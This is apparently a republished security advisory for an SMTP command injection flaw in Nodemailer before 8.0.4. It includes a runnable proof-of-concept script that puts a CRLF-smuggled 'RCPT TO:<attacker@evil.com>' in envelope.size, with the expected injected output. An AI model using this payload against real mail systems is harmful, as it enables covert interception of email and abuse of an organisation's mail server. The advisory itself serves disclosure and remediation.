GHSA-c7w3-x93f-qmm8: Nodemailer before 8.0.4 SMTP Command Injection via envelope.size

Published Mar 26, 2026
·
Updated

Summary When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

javascript if (this.envelope.size && this.supportedExtensions.includes('SIZE')) { args.push('SIZE=' + this.envelope.size); }

This contrasts with other envelope parameters in the same function that ARE properly sanitized: - Addresses (from, to): validated for [\r\n<>] at lines 1107-1127 - DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

javascript const standardFields = ['to', 'cc', 'bcc', 'from']; Object.keys(envelope).forEach(key => { if (!standardFields.includes(key)) { this.envelope[key] = envelope[key]; } });

Since sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail(). While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC ave the following as poc.js and run with node poc.js:

javascript const net = require('net'); const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands const server = net.createServer(socket => { socket.write('220 localhost ESMTP\r\n'); let buffer = ''; socket.on('data', chunk => { buffer += chunk.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('C:', line); if (line.startsWith('EHLO')) { socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n'); } else if (line.startsWith('MAIL FROM')) { socket.write('250 OK\r\n'); } else if (line.startsWith('RCPT TO')) { socket.write('250 OK\r\n'); } else if (line === 'DATA') { socket.write('354 Start\r\n'); } else if (line === '.') { socket.write('250 OK\r\n'); } else if (line.startsWith('QUIT')) { socket.write('221 Bye\r\n'); socket.end(); } } }); });

server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log('SMTP server on port', port); console.log('Sending email with injected RCPT TO...\n');

const transporter = nodemailer.createTransport({ host: '127.0.0.1', port, secure: false, tls: { rejectUnauthorized: false }, });

transporter.sendMail({ from: 'sender@example.com', to: 'recipient@example.com', subject: 'Normal email', text: 'This is a normal email.', envelope: { from: 'sender@example.com', to: ['recipient@example.com'], size: '100\r\nRCPT TO:<attacker@evil.com>', }, }, (err) => { if (err) console.error('Error:', err.message); console.log('\nExpected output above:'); console.log(' C: MAIL FROM:<sender@example.com> SIZE=100'); console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED'); console.log(' C: RCPT TO:<recipient@example.com>'); server.close(); transporter.close(); }); });

Expected output: SMTP server on port 12345 Sending email with injected RCPT TO...

C: EHLO [127.0.0.1] C: MAIL FROM:<sender@example.com> SIZE=100 C: RCPT TO:<attacker@evil.com> C: RCPT TO:<recipient@example.com> C: DATA ... C: . C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

- Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport - Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server) - Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Other sources

Nodemailer before 8.0.4 is vulnerable to SMTP command injection through the unsanitized envelope.size parameter. When an application passes a custom envelope object with a size property containing CRLF characters to sendMail(), the value is concatenated into the SMTP MAIL FROM command (as SIZE=...) without sanitization, allowing injection of arbitrary SMTP commands such as RCPT TO to silently add attacker-controlled recipients. Exploitation requires the application to expose the envelope size to attacker-controlled input, as Nodemailer does not include size in the default auto-constructed envelope.

— OSV

Affected Software

1 affected componentFixes available
npm/nodemailer<8.0.4
8.0.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/nodemailer to a version that resolves this vulnerability.

    Fixed in 8.0.4
  2. Upgrade

    Upgrade Nodemailer to a version that resolves this vulnerability.

    Fixed in 8.0.4

Event History

Mar 26, 2026
Advisory Published
via GitHub·10:26 PM
Data Sourced
via GitHub·10:26 PM
DescriptionWeaknessAffected Software
Aug 31, 2026
CVE Published
via OSV·08:46 AM
Data Sourced
via OSV·08:46 AM
DescriptionSeverityWeakness

Frequently Asked Questions

1

What is the severity of GHSA-c7w3-x93f-qmm8?

GHSA-c7w3-x93f-qmm8 is classified as a high severity vulnerability due to its potential for arbitrary SMTP command injection.

2

How do I fix GHSA-c7w3-x93f-qmm8?

To fix GHSA-c7w3-x93f-qmm8, upgrade Nodemailer to version 8.0.4 or later.

3

What causes GHSA-c7w3-x93f-qmm8?

GHSA-c7w3-x93f-qmm8 is caused by a lack of sanitization when custom `envelope` objects with CRLF characters are passed to the `sendMail()` function.

4

What are the potential impacts of GHSA-c7w3-x93f-qmm8?

The potential impact of GHSA-c7w3-x93f-qmm8 includes the ability for attackers to inject and execute arbitrary SMTP commands.

5

Who is affected by GHSA-c7w3-x93f-qmm8?

Users of Nodemailer versions prior to 8.0.4 are affected by GHSA-c7w3-x93f-qmm8.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203